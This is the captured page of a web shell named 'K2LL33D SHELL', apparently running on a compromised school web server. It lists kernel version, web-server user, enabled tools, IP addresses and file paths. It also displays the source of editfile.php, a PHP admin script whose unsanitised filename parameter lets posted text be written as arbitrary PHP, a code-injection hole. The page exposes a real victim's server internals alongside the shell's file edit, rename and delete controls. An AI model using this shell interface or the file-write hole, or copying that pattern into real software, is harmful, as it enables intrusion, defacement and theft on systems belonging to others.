K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / www / html / sman1baleendahok / functions /
server ip : 172.67.156.115

your ip : 172.69.130.103

H O M E


Filename/var/www/html/sman1baleendahok/functions/editfile.php
Size1.04 kb
Permissionrw-rw-r--
Ownerulung : ulung
Create time27-Apr-2025 11:12
Last modified05-Feb-2025 08:55
Last accessed06-Jul-2025 20:19
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
session_start();
if (!isset($_SESSION['Admin'])) {
echo "<h1>Permission Denied</h1>You don't have permission to access the this page.";
exit;
}
$save=$_POST['save'];
$file=$_GET['file'];


if ($save=='simpan') {
$nfile=$_POST['nfile'];
$file=$_POST['file'];
$nmfile=$_POST['nmfile'];
$dwrite = fopen("../modul/tag_".$file.".php", "w");
$nfile = stripslashes($nfile);
fputs ($dwrite, $nfile);
fclose ($dwrite);
echo "File sudah disimpan....Silahkan tutup jendela ini";
//header("Location: ../admin/admin.php?mode=konf&kd=berhasil");
}
else {
$dread = file("../modul/tag_".$file.".php");
for ($i=0; $i <= count($dread); $i++) {
$output .= $dread[$i];
}
echo "<form action='editfile.php' method=post >File Name : <input type=text name=nmfile value='tag_".$file.".php'> Jarngan diganti<br><textarea name=nfile cols=80 rows=20>$output</textarea><br><input type=hidden name=file value='$file' >
<input type=submit value='Simpan' ><input type=hidden name='save' value='simpan' ></form>";

}

?>